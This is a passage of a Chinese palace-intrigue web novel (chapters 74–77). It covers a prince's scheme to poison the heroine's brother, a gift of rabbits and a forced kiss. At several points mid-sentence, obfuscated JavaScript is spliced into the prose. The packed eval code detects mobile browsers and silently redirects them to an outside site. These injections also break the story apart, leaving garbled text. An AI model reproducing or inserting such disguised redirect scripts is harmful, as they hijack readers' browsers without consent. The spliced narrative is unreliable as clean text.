“太慢了。”萧凌川眸色晦暗,“这南月毒师身怀绝技,却甘愿嫁给姜家最没出息的庶子,想来是为了她唯一的儿子。可见,她儿子便是她的软肋。只要从她儿子下手,就能让她不得不为我们所用。” “四哥所言极是。只是,该如何对她儿子下手?” 萧凌川饮了一口果酒,神色阴冷:“下毒!” 南月毒师虽能炼制天下奇毒,却对解毒之术一窍不通。 只要控制住她唯一的儿子,便可她乖乖为他们所用。 “让凌芜去做吗?四哥不怕她迁怒于凌芜和嫂嫂?” “不行,凌芜不能暴露。”萧凌川摩挲着杯沿,“找个合适的时机,将他引出相府,在外面下毒,如此一来,那南月毒师便不会怀疑到凌芜身上,更不会迁怒于姝宁。” 萧琪钰点头:“待我想个法子,把那姜家三少爷引出来!” —— 姜姝宁返回宴会厅的路上,恰好遇到了五皇子萧怀瑾。 她和姜瑶真连忙行礼:“见过五皇子殿下!” “两位姑娘免礼。”萧怀瑾目光灼灼地落在姜姝宁身上,“姜姑娘,我有一份礼物想送给你,不知可否赏光,随我走一趟?” “这……”姜姝宁略一迟疑。 上次去荣贵妃的福禄宫与萧怀瑾见面,萧凌川便大发雷霆,如今想来仍心有余悸。 若是被他发现自己又私下与萧怀瑾来往,不知又会发什么疯。 萧怀瑾见她犹豫,连忙补充道:“不会耽误姜姑娘太多时间的。” 一旁的姜瑶真想起萧修湛曾说过,姜姝宁是个祸水,她的存在会让三皇子萧凌川和五皇子萧怀瑾反目成仇。 既如此,自己何不添一把火,让两个皇子之间的争夺更激烈些? 于是她便在一旁怂恿道:“姐姐,五皇子殿下如此盛情,你就不要再推辞了。不过是收个礼物而已,耽误不了多少时间的。” 姜姝宁见推辞不了,只得应道:“那就有劳殿下带路了。” “姜姑娘,请随我来。”萧怀瑾说着,感激地看了姜瑶真一眼。 姜瑶真朝他微微颔首,心中却暗自嘀咕:这姜姝宁莫不是个妖精?怎么这些皇子见了她都如此殷勤? 无论是冷面煞神般的萧凌川,还是谪仙一般的五皇子,都对她青睐有加。 实在讨厌得很! 姜姝宁和萧怀瑾漫步在静谧的宫道上。 夜幕降临,宫灯点点,四周寂静无人,唯有行色匆匆的宫人偶尔经过,并无人在意他们二人。 “殿下,不知荣华公主如今可好?”姜姝宁打破沉默,轻声问道。 她想起上次荣华公主被黑豹吓得惊慌失措的模样,心中仍有些许担忧。 “荣华并无大碍,只是受了些惊吓。服过御医开的安神汤后,次日便已痊愈。她昨日还问我,为何姜姑娘不进宫去看她。” 姜姝宁垂眸,低声道:“那日之事,臣女心中实在愧疚,实在不好意思再去叨扰荣贵妃娘娘和荣华公主。” “母妃和荣华都不是斤斤计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620095|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较之人,姜姑娘不必放在心上。况且,这并非你的错,是四哥没有管好自己的爱宠所致。”萧怀瑾抬眸望向前方,唇角扬起一抹温润的笑意,“看,这就是我为你准备的礼物。” 姜姝宁顺着他的目光望去,只见一座小桥横卧在雪地上,桥的扶手上放着两个竹笼子。 笼子里,两只通体雪白的兔子蜷缩着身子,瑟瑟发抖。 她连忙上前,将笼子抱在怀里,伸出手指轻抚兔子身上的绒毛。 兔子怯生生地看着她,一动不动,显得格外懵懂娇弱。 “好可爱。”姜姝宁忍不住赞叹,眼中满是喜爱。 这两只兔子比她在狩猎场看到的兔子更加秀气,身上的绒毛也更加柔软,令人爱不释手。 见她如此喜欢,萧怀瑾脸上的笑意更浓。 他虽然不能养猫,但养兔子还是可以的。 “姜姑娘喜欢就好。这两只兔子,你就带回去好生养着吧。” “这……可臣女从未养过兔子。” “兔子很好养活,只需喂些萝卜青菜和草料即可。” “殿下,这兔子如此可爱,荣华公主应该也会喜欢,不如将它们送给公主吧。” “荣华的确喜欢兔子,母妃的福禄宫中已经养了好几只。除了兔子,福禄宫里还养了一只小鹿。” “小鹿!”姜姝宁的眼睛一亮,语气中带着几分雀跃,“可是上回从猎场上捕获的那只?” “正是。”萧怀瑾含笑点头,“那小鹿娇气得很,需要定时喂食浆果,还喜欢偷吃花骨朵。母妃宫里几盆名贵的花都被它啃得不成样子了。” 萧怀瑾的描述让姜姝宁心生向往。 “臣女下次可否有机会去福禄宫看看那只小鹿?” “当然可以。”萧怀瑾眉眼含笑,“姜姑娘若是愿意,现在便可同我一起去。” “不了,晚宴应该已经开始了,我们还是先回去吧。”姜姝宁将装着兔子的笼子抱在怀里,笑得眉眼弯弯,“多谢殿下的礼物,臣女一定会好好照顾它们。” 姜瑶真正准备返回宴会厅时,被顾亦庭拦住了。 他一脸担忧地问:“姜二姑娘,方才你被四皇子纠缠,你姐姐没为难你吧?” 姜瑶真心头一惊:“你怎么……” “方才是我请你姐姐去救你的。幸好她答应了,否则你的名声可就毁了。”顾亦庭义愤填膺,“四皇子实在太过分了,明知你已经和三皇子殿下有了婚约,还对你死缠烂打,实在是有失体统!将来若我子承父业,当上御史,定要好好参他一本!” 第74章 迁怒于无辜兔子 第七十四章迁怒于无辜兔子 姜瑶真心思微动。 看来顾亦庭并未看到自己方才对萧凌川投怀送抱的举动,还以为是萧凌川对她有意,想要横刀夺爱。 如今太子虽然身体孱弱,却依旧稳坐东宫之位,全仰赖他的亲舅舅——连皇帝都敢**的顾御史。 皇帝虽早有废黜太子的心思,却因忌惮顾御史,迟迟不敢有所行动,唯恐那些御史台的官员借题发挥,将他骂得狗血淋头。 若是能拉拢顾亦庭这位御史独子,或许日后对萧修湛有所助益。 想到这,她立刻装出一副感激涕零的模样:“多谢顾公子仗义执言。四皇子殿下确实对我……倾慕已久,我夹在两位皇子之间,左右为难,实在不知该如何拒绝,真是令人头疼。” 顾亦庭听她如此说,心中对她的爱慕之情更添了几分。 “窈窕淑女,君子好逑。姜二姑娘容貌昳丽,才艺双全,皇子们对你倾心也在情理之中。只是那四皇子实在不知分寸,明知你已有婚约,还纠缠不休,实在强人所难。心仪他的明明是你姐姐,为何他不将心思放在你姐姐身上?” “说来惭愧,还有一事令我难以启齿。”姜瑶真泫然欲泣,“姐姐一直爱慕四皇子殿下,今日之事对她打击甚大。她方才对我说,既然我‘抢’了她的心上人,她便要抢我的姻缘。如今太后娘娘又如此器重姐姐,我真担心自己和三皇子的婚约会被她抢走!” “姜姝宁如此行径,实在可恶!”顾亦庭义愤填膺,“就算她得到了婚约又如何?她根本就不喜欢三皇子!简直是损人不利己!” “姐姐是家中嫡女,从小到大都被爹娘捧在手心里,想要什么都能轻易得到,早就任性惯了。如今在四皇子这里碰壁,便将怨气都撒在了我身上。顾公子,你有所不知,我从前只是相府一个名不见经传的庶女,真的很怕这来之不易的婚约被她抢走。” 姜瑶真这副黯然神伤的模样,看得顾亦庭一阵心疼。 他深吸一口气,下定决心道:“姜二姑娘放心,此事就交给我吧。我绝不会让姜姝宁破坏你的姻缘!” 姜瑶真故作惊讶:“顾公子打算怎么做?” “这个你不必过问,我自有办法!” 说完,他朝她行了一礼,转身离去。 望着他离去的背影,姜瑶真面纱下的唇角微微勾起。 不管顾亦庭打算怎么做,总之,肯定是让姜姝宁膈应的事。 这就足够了。 晚宴还没到一半,皇帝便借故要去批改奏折,中场离席,把熙贵妃一人留在了宴席上。 熙贵妃比谁都清楚,皇帝所谓的批阅奏折不过是托词,他其实是急着去宠幸新纳入宫的苏美人。 萧修湛察觉到母妃的不悦,在敬酒的间隙,俯身在她耳边低语了几句。 熙贵妃的眉眼顿时舒展开来。 一个出身欢场的女子罢了,如何能与她争宠? 更何况,那苏美人身上的异香是长期服用药物所致,而那药物会损害身体,导致不孕,所以她终究不过是个玩物。 她的湛儿已经掌握了苏美人的把柄,不怕她不乖乖听命。 想到这里,熙贵妃的心情豁然开朗,忍不住多饮了几杯果酒。 宴会结束后,姜姝宁提着竹笼离开。 萧凌川远远地便瞧见了她笼中的两只雪兔,侧头问身后的凌风:“姜姑娘提着的两只兔子从何而来?” 凌风迟疑片刻,只得如实禀报:“是五皇子殿下送给姜姑娘的。” “什么?”萧凌川脸色骤变,阴沉得仿佛能滴出水来,“他们见面,你为何不曾禀报于我?” “姜姑娘只是去取了兔子便离开了,并未与五皇子殿下过多接触,所以属下……” “够了!”萧凌川厉声打断他的话,语气森寒,“让凌芜寻个法子将这两只兔子处理掉!” 凌风闻言,不禁哭笑不得:“殿下,那不过是两只兔子而已……” “两只兔子也是念想!我不允许她身边有任何其他男人的东西!哪怕是兔子也不行!告诉凌芜,务必在姜姑娘对这两只兔子产生感情之前,快刀斩乱麻,将它们处理掉!至于清蒸还是红烧,由她看着办!” 凌风顿时无语凝噎。 他家殿下,平日里冷静自持,可一旦事关姜姑娘,便会方寸大乱,甚至不可理喻。 这世上,恐怕也只有他才会因为醋意,迁怒于两只无辜的兔子吧? 姜姝宁提着竹笼,欢欢喜喜地回到了马车上。 凌芜一眼瞧见笼中两只毛茸茸的小家伙,不禁惊讶道:“这皇宫可真是大方,参加个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凌风提醒道:“殿下,已是丑时了,您该歇息了。” “无妨,”萧凌川眸光深邃,语气笃定,“今夜有人会来见我。你去助她避开宫人耳目。” “是,殿下!”凌风领命而去。 片刻之后,凌风带着一位身披黑色斗篷的人来到书房。 那人一进门,便双膝跪地,恭声道:“民女特来拜谢殿下!感念殿下为民女指明一条进宫之路,此番再造之恩,民女永世难忘!” 萧凌川垂眸看着跪在脚边的女子,神色淡然:“你如今已被父皇纳入后宫,名义上便是我的庶母,这自称也该改一改了,苏美人。” 第75章 糕点有毒! 第七十五章糕点有毒! 夜色深沉,景和宫内,萧凌川与凝香相对而坐。 “殿下交代的事情,妾身已经办妥了。”凝香恭顺地垂首,“妾身已将您所说的话透露给了三皇子殿下。他得知‘凝香丸’会导致不孕,便放松了对妾身的戒备,还让妾身多在陛下面前为他美言,吹吹枕边风。” 萧凌川唇角微勾,一抹势在必得的笑意在他唇角上漾开。 “就依他所言去做吧,让父皇以为你是他的人,这对你有利无害。你只管放心,只要你定期服用我给你的解药,即便日日服用‘凝香丸’,也不会影响生育。将来,”他眸光一凛,眼底闪过一丝阴鸷,“即便父皇驾崩,你也能凭借所生的皇子,在这大邺皇宫之中安身立命,无人敢欺。” “多谢殿下!多谢殿下!”凝香感激涕零,跪在地上连连叩首,额头重重地磕在地面上,发出“咚咚”的声响。 “够了。”萧凌川出声制止,“若是伤了额头,让父皇瞧见,怕是要生疑。凌风,送苏美人回储秀宫,切记不可让旁人瞧见。” “是,殿下!”凌风领命,掩护着凝香离开了景和宫。 凝香走后,萧凌川俊美的脸上浮现出一抹阴冷的笑意。 如今,他已经让父皇收回了萧修湛舅舅手中的兵权,接下来,便要分走熙贵妃多年来的盛宠了。 但愿凝香不要让他失望才好。 —— “什么?定亲?”姜天泽闻言,脸上满是震惊与抗拒,“大姐姐,我才十五岁,现在定亲是不是太早了些?” “十五岁定亲已经算晚的了。又不是现在就让你成婚,你紧张什么?”姜姝宁语气嗔怪,带着几分安抚,“父亲母亲已经安排好了,你且去见见张姑娘,只当是去结交朋友,不必拘谨。” 姜天泽抬眸看了她一眼,眼底藏着一丝不易察觉的酸涩:“大姐姐就这么希望我定亲?” “男大当婚,女大当嫁,如今你是相府的继承人,你的亲事我自然要多加留意。”姜姝宁温言细语地劝道,“况且这张姑娘贤良淑德,容貌姣好,你定会喜欢的。” “大姐姐关心的,只是天泽身为相府继承人的身份,就一点也不在意天泽的想法吗?”姜天泽语气低落,眼中闪过一丝落寞,“这张家姑娘纵然再好,从前也是与大哥天恩定下的亲事,并非我自己心仪之人。” 姜姝宁看出他的抵触,放缓了语气,柔声哄道:“天泽,大姐姐自然是先考虑你的喜好。只是去见一面而已,若是你不喜欢,我们再另择佳偶,如何?” 与张尚书家嫡女的这门亲事,原是姜丞相和姜夫人为长子姜天恩早早定下的。 奈何姜天恩迟迟未能考取功名,张尚书对此颇为不满,张家也对这门亲事一直不置一词。 如今听闻姜天泽成为相府继承人,张尚书竟主动提出,让女儿与天泽相看。 如此良机,姜丞相自然是欣然应允。 “好吧,那便听大姐姐的,去见见这位张姑娘。”姜天泽表面上乖巧应允,眼底却掠过一丝不易察觉的阴郁。 什么样的女子都比不上他的大姐姐。 这门亲事,他是绝不会应允的。 张尚书将两家会面的地点定在了京城赫赫有名的会客茶楼。 这茶楼环境清幽雅致,茶香氤氲,更有诸多精致糕点供应,是城中有名的风雅之地。 为表示相府对这门亲事的重视,姜丞相携夫人、姜姝宁和姜天泽一同赴约。 张尚书则带着年方二八的女儿张嫣前来相见。 张嫣容貌清秀,举止端庄大方,一颦一笑间皆是世家贵女的优雅风范。 如此佳人,若是能成为相府主母,想来定是一位贤良淑德的女主人。 姜夫人与姜姝宁交换眼神,彼此眼中皆是掩不住的满意之色。 唯有姜天泽,俊美清隽的脸上不见丝毫喜色,全程沉默寡言。 张尚书问话,他也只是淡淡一笑,由着姜夫人和姜姝宁替他作答。 乖巧顺从的表象之下,实则暗藏着叛逆的心思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620097|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>张嫣似乎对眼前这位俊逸的相看对象颇为满意,主动开口道:“不知姜公子平日里可有什么偏爱的糕点?我平日里对糕点略有研究,下次可以做些带来给公子品尝。” 姜天泽回以她一个温润的笑容,却依旧沉默不语。 姜姝宁在一旁看得着急,他再这样一言不发下去,张尚书和张嫣怕是要以为他是个哑巴了! 她悄悄把手伸到桌子底下,掐了一下姜天泽的手背,提醒他赶紧回话。 不料姜天泽反手握住了她的手,抬眸冲她露出一个无辜又无害的笑容。 姜姝宁被他这油盐不进的模样气得牙痒痒,若是再这样下去,张嫣怎么可能看得上他! 她连忙笑着对张嫣道:“我三弟平日里最是喜爱糕点,各式糕点都爱吃!张姑娘若是亲手做了糕点给他,他定然会十分欢喜。” “如此甚好!”张嫣似乎并没有因为姜天泽的沉默而感到不悦,态度依旧殷勤。 她拈起一枚形似桃子的糕点,放入了姜天泽的碗中,柔声道,“这是会客茶楼的招牌桃糕,味道清甜可口,如同新鲜桃子一般,姜公子不妨尝尝?” 大概是因为握着姜姝宁的手,姜天泽心情甚好,竟然破天荒地开了口:“既然这糕点形似桃子,味道也与桃子无异,那为何不直接吃桃子呢?做成这糕点的意义何在?岂非无趣得很?” 张嫣脸上的笑容瞬间凝滞,一时不知该如何应对。 姜姝宁见状,连忙摆出姐姐的威严,嗔怪地瞪了姜天泽一眼:“这糕点你都还没尝,怎知无趣?快些尝尝,莫要辜负了张姑娘的盛情。” 姜天泽这才不太情愿地拿起碗中那枚糕点,凑到唇边。 忽然,一股熟悉的苦涩气息钻入鼻尖,他的脸色骤然一变。 他猛地抬头,恰好看到姜丞相拿起一块糕点,正要就着茶水吃下,连忙伸手按住了他的手。 “父亲,这糕点不能吃!”他神色凝重,“这糕点里有毒!” 此言一出,在场所有人的脸色都变了。 第76章 强吻封缄 第七十六章强吻封缄 张尚书随即笑着道:“贤侄莫不是在说笑?这糕点老夫自己也吃了好几块,若是真有毒,岂不是早就毒发身亡了?” 姜天泽双唇紧抿,目光在张家父女身上来回逡巡,幽深的眼眸中墨色翻涌,满是戒备之色。 他自幼便与毒物为伍,对各种毒物的气味了如指掌,怎么可能弄错? 姜姝宁见状,连忙出来打圆场:“三弟自幼喜欢钻研药理,许是闻到了什么特殊的气味,这才有所误会。我今日正好戴了银簪,不如便由我来试试这糕点里是否有毒,也好让大家安心。” 说罢,她拔下头上的银簪,以帕子仔细擦拭干净,而后在姜丞相的糕点上戳刺了几下。 簪尖依旧银白,并无变化。 张尚书见状,朗声笑道:“我就说嘛……” 他话未说完,姜天泽便从姜姝宁手中拿过银簪,径直插入自己碗中的桃糕。 待拔出之时,簪尖赫然已是一片乌黑! 他目光凌厉地射向张嫣,语气冰冷:“原来,你想毒害的人是我!” 张嫣脸色瞬间变得惨白,连连摆手否认:“我没有!姜公子,你误会了……” 姜天泽岂会轻易信她? 他一把扣住张嫣的手腕,细细查看,最终在她的指甲缝隙中发现了一些白色粉末。 “还说没有?这是什么?”他眼眸微眯,眼中满是冷意,“你敢说这不是毒?” 姜丞相见状,脸色顿时阴沉得可怕,他目光直视张尚书,质问道:“张尚书,这究竟是怎么回事?” 张尚书额头上渗出细密的汗珠:“姜丞相,息怒!这都是误会,天大的误会啊!小女自幼胆小,绝不可能做出毒害令郎之事!想来许是她脂粉中的铅华不小心沾染到了糕点上,这才造成了这番误会!还望丞相大人海涵!下官这就代小女向丞相和令郎赔罪!” 姜天泽冷哼一声:“堂堂尚书嫡女,用的竟是含有铅华的劣质脂粉?张尚书这番说辞,未免太过牵强了吧?” 张尚书满脸惊恐:“冤枉啊!姜公子,老夫与你无冤无仇,又怎会加害于你?” 他转头看向姜丞相,眼中满是哀求之色,“丞相大人明鉴,下官对天发誓,这绝对是误会!” 姜丞相正欲开口,被一旁的姜姝宁拉住衣袖。 “父亲,尚书大人说得没错,他与我们姜家并无过节,此前也从未见过天泽,确实没有理由故意让自己的女儿去陷害天泽。女儿以为,此事另有蹊跷,想要加害天泽的,恐怕另有其人!” 姜丞相看她神色笃定,连忙问:“宁儿,你可是知道是谁想要加害天泽?” “是,”姜姝宁肯定地点了点头,“想必张尚书也是受人胁迫,迫不得已才出此下策。父亲,此事就此作罢吧,不必再为难尚书大人了。” 姜丞相沉吟片刻,最终点了点头。 他冷冷地瞥了张尚书一眼,起身带着姜夫人、姜姝宁和姜天泽离开了茶楼。 他们一行人离开后,张尚书顿时瘫倒在地,汗如雨下。 一旁的张嫣早已哭得梨花带雨:“父亲,您之前不是说万无一失吗?如今却被姜公子当场识破了!这下糟了,我们彻底得罪了相府,往后该如何是好啊!” 张尚书长叹一声,语气中带着一丝无奈和后怕:“谁又能料到,这姜公子年纪轻轻,心思竟如此缜密!莫说是为父,恐怕就连那幕后之人也始料未及吧!” 比起得罪姜丞相,他更害怕的是没能完成那人交代的任务。 如今真是左右不是人啊! 回府的路上,姜丞相既生气又遗憾:“原以为两家能结成秦晋之好,却不想这张尚书竟如此大胆,指使女儿对天泽下毒!宁儿,你方才说想害天泽的另有其人,究竟是什么人?” 姜姝宁眼神闪烁:“父亲,方才我只是想尽快离开茶楼,所以才故意这么说的。其实女儿也不知道张尚书背后是谁人指使。往后我们姜家人出门在外,多加小心就是,以免被奸人所害。” 姜丞相脸上满是悲愤:“真是多事之秋啊!天恩和天赐相继离世,如今又有人想要加害天泽。我们姜家到底得罪了什么人,要逼我们**!” 姜夫人握住他的手,哽咽着安慰道:“老爷,莫要太过伤心,好在天泽这次躲过一劫,平安无事。” 姜天泽也宽慰道:“父亲母亲放心,孩儿定会珍重自身,为双亲养老送终,绝不让那些宵小之徒得逞!” 姜姝宁此时眼中却翻涌着汹涌的怒意。 没错,谁也别想伤害姜家的人! 今生她已经失去了兄长,决不能再失去可以为父母养老送终的弟弟。 今日之事,她计较定了! 回到相府,姜姝宁迅速换了一身衣衫,旋即乘马车直奔皇宫而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620098|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 来到景和宫,她见到萧凌川,便劈头盖脸质问道:“指使张尚书给我三弟下毒的,可是殿下?四皇子殿下为了拿捏我,竟如此不择手段,实在令人不齿!” 其实,想要知道张尚书背后的指使之人并不难。 张家与七皇子母族是远亲,而七皇子又是萧凌川的左膀右臂,因此姜姝宁很快便推断出,今日这出下毒的戏码,正是萧凌川一手策划的。 萧凌川早已收到张尚书下毒失败的消息,对于姜姝宁的到来并不意外,也并未打算隐瞒自己的所作所为。 他语气平静地说道:“的确是我让张尚书借着相看的机会,给你的堂弟姜天泽下毒。但那**并不致命,我这么做也并非是为了拿捏你。” “那又是为了什么?”姜姝宁追问道。 “无可奉告。”萧凌川语气冷淡,不愿多做解释。 姜姝宁不禁冷笑一声,语气中充满了嘲讽控诉:“殿下不必再装了,前世我与你夫妻十年,我比任何人都了解你!凡是你无法掌控的人,你便会想方设法找到对方的弱点,以此要挟;凡是你费尽心思依旧无法掌控的,你宁可毁掉,也绝不会留给对手!” “姜姝宁!”萧凌川厉声打断了她的话,深邃的桃花眼中翻涌着复杂的情绪,“你若真的了解我,便不该认为我如此行事是为了拿捏你!” 他承认自己劣迹斑斑,不择手段。 可他从未想过将这些阴狠毒辣的手段用在她身上。 尤其是在前世尝过失去她的锥心之痛后,今生哪怕是威逼利诱,他也小心翼翼地拿捏着分寸,唯恐她承受不住。 如今被她这般误解和指责,他心中既愤怒又委屈。 “你给天泽下毒,除了拿捏我,还能拿捏谁?”姜姝宁越想越气,眸中水汽氤氲,“你明知道我失去兄长,最放心不下的便是父母老了无人照顾,如今你竟对我们姜家唯一的男丁下毒,你究竟安的什么心?你为何不干脆直接给我下毒?让我像前世那般,一**之,岂不正好遂了你的心愿?!” “住口!”萧凌川俊美的脸上戾气横生,厉声呵斥道,“不许你再说这样的话!” “我为何不敢说?我已经死过一次了,大不了……”姜姝宁话未说完,便被萧凌川失控地一把拥入怀中。 他滚烫的唇强势地覆上她的唇瓣,仿佛要将这张只会说晦气话的小嘴永远封缄! 第77章 你这个疯子! 第七十七章你这个疯子! 姜姝宁万万没有料到他竟会突然吻上来。 那吻来势汹汹,带着一股蛮横的掠夺意味,仿佛要将她拆之入腹,吞噬殆尽。 他的大手紧紧钳制着她的腰肢,让她动弹不得,所有的挣扎与反抗在他的桎梏下都是徒劳。 姜姝宁肺中的空气渐渐被抽空,鼻息间充斥着他身上那股极具侵略性的男性气息,只觉得自己如同一尾搁浅在沙滩上的鱼,呼吸艰难,濒临死亡。 被逼至绝境的她,用尽全力狠狠地咬了萧凌川一口! 一股腥甜的气息顿时在两人唇齿间蔓延开来。 他吃痛,被迫松开了对她的禁锢,一双猩红的桃花眼中满是难以置信。 “你竟然咬我?” 许是舌尖受伤的缘故,他声音有些嘶哑,喘息声也变得粗重急促,宛如一头暴怒的野兽。 姜姝宁慌忙后退几步,猛地拔下头上的发簪,用尖锐的一端指向他,既惊恐又愤怒。 “你若再敢轻薄于我,我何止咬你,我还要杀了你!” 萧凌川目光在她酡红的双颊,泛着盈盈水光的眼眸,以及被吻得红肿娇艳的唇瓣上流转,心中涌起一股难以言喻的复杂滋味。 既酸涩又甜蜜。 他骤然欺身向前,一把攥住她的手腕,将那枚锋利的簪尖抵向自己的胸膛,目光逼视着她:“姜姑娘想杀我?那便动手试试看!” 眼见那簪尖已然刺破了他华贵的锦袍,可他却仿佛毫无痛觉一般,依旧执拗地握住她的手,将簪子扎得更深。 他这般癫狂的举动,让姜姝宁心中陡然生出了一丝怯意。 她猛地松开簪子,挣脱了他的钳制,惊恐地望着他:“你这个疯子!” 萧凌川嗤笑一声,那张俊美到近乎靡丽的脸上晦暗不明。 “这枚小小的簪子根本伤不了我,而你,也舍不得对我下手!”他定定地看着她,深邃的眼眸中暗流涌动,“姜姝宁,别再自欺欺人了,你根本就舍不得伤害我!” 这句话说得轻描淡写,却仿佛一记响亮的耳光,狠狠地扇在了姜姝宁的脸上。 她瞬间如梦初醒。 自己明明随身携带着袖**,却偏偏选择了簪子这种毫无杀伤力的东西作为武器,还信誓旦旦地说要杀了他。 别说是萧凌川了,就连她自己都觉得这番威胁苍白无力。 难道,她真的舍不得伤他? 不,这绝不可能! 他前世那般对待自己,她怎么可能会对他心慈手软? “四皇子殿下别再往自己脸上贴金了!”姜姝宁美目圆睁,怒火中烧,“我不伤你,不过是怕承担后果。我**无所谓,但绝不能让整个姜家因此遭受牵连!但你若再敢对我们姜家人下手,就别怪我不客气!” “哦?”萧凌川闻言,嘴角勾起一抹玩味的笑。 他步步紧逼,语气轻佻而危险:“我倒想看看,姜姑娘究竟打算如何……对我不客气!” 姜姝宁本能地向后退去,对萧凌川这副毫不在乎、轻蔑至极的姿态,感到无比的厌恶和痛恨。 即便重活一世,他也从未将她真正放在眼里! 她在他心中,永远是可以任意拿捏、随意伤害的玩意儿! “四皇子殿下,你我皆是重生之人,你知晓未来的走向,我也同样如此!”姜姝宁语气决绝,带着孤注一掷的强硬,“若殿下执意相逼,将臣女逼入绝境,就休怪臣女另谋出路,转投其他皇子的阵营!” “你敢!”萧凌川顿时怒火中烧,眼中似要喷出火来,“你想投靠谁?萧怀瑾吗?” “恕臣女无可奉告!”姜姝宁冷冷地丢下这句话,赶在他彻底爆发之前,逃一般离开景和宫。 凌风回到暖阁时,只见满地狼藉,碎瓷片散落一地,萧凌川坐于案前,一双桃花眸猩红如血,宛如一头被彻底激怒的困兽。 “殿下……姜姑娘已经出宫了。”凌风小心翼翼地禀报道。 “萧怀瑾送她的那两只兔子,凌芜处理掉了吗?”萧凌川的声音低沉而压抑,仿佛蕴藏着即将爆发的火山。 “……属下尚未收到凌芜的消息。”凌风的头垂得更低了。 “让她务必尽快处理干净!”萧凌川的眼中怒火翻涌,语气强硬,“我绝不允许她留下任何除了我之外的男人送的东西!” “是,殿下!” 凌风心中暗暗叫苦:姜姑娘啊姜姑娘,殿下原本已经将这件事抛诸脑后了,您来景和宫这一趟,又把他给气得重新想起来了! 你们是要为难死凌芜啊? 就在此时,七皇子萧琪钰推门而入,一边走一边兴高采烈地嚷嚷道:“四哥,今晚咱们喝羊肉汤如何?我特意嘱咐厨子不要放葱姜蒜!” 萧凌川冷着一张脸,语气生硬地拒绝道:“不喝!” “四哥,你这是怎么了?”萧琪钰终于察觉到了空气中的异样,他凑近萧凌川,一双眼睛好奇地上下打量着他,“咦?你的嘴怎么肿了?而且好像还擦了口脂?” 萧凌川下意识地抬手轻拭唇角,指腹上果然沾染了一丝淡淡的胭脂红。 一想到这抹嫣红是从姜姝宁唇瓣上辗转而来,他难免有些心神摇曳,方才的怒意也消了大半。 “无事,被姜姑娘咬了一口。”他语气淡淡地说道。 萧琪钰一脸的难以置信:“好端端的,嫂嫂为何要咬你?” “谁知道呢。”萧凌川语气慵懒,嘴角勾起上扬的弧度,“可能因为她是属狗的吧?” “我看啊,嫂嫂是属兔的才对。正所谓兔子急了也咬人,四哥你肯定是把她逼急了,否则以嫂嫂那般温婉的性子,怎么可能会做出咬人的举动?” “逼急了才好,她那性子,就是要多逼几下。” 萧凌川指腹摩挲着下唇,深邃的眼眸晦暗不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620099|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明。 不逼她,她又怎会轻易将自己的底牌亮出来? 今日,倒也并非毫无收获。 姜姝宁怒气冲冲地回到马车上。 凌芜看到她,大吃一惊:“大小姐,您的嘴怎么流血了?” 姜姝宁一怔,连忙抬手擦了擦唇角,手上果然沾染了几缕殷红的血丝。 见凌芜满脸紧张的模样,她安慰道:“无妨,这不是我的血。” 凌芜闻言,表情更加震惊。 不是大小姐的血,那又会是谁的血呢? 谁的血会出现在大小姐嘴唇这这样的地方? 难道是…… 姜姝宁见她目不转睛地盯着自己看,脸顿时涨得通红。 “别看了,我们还是快些回府吧!”她移开目光,故意转移话题道,“那两只兔子你今天喂了吗?我有些想它们了。” “已经喂过了。” 说起那两只兔子,凌芜便想起凌风给她带来的口信。 四皇子让她尽快将那两只五皇子送的兔子处理掉。 可明明大小姐那么喜欢它们…… 这简直太为难她了! 回到相府,凌芜把竹笼提出来放在院子里,托着腮盯着两团雪绒般的小东西瞧。 越瞧越喜欢。 殿下竟让她选择清蒸或者红烧,简直丧心病狂! 兔兔这么可爱,怎么能吃兔兔? 正当凌芜左右为难之际,姜天泽恰好走了过来。 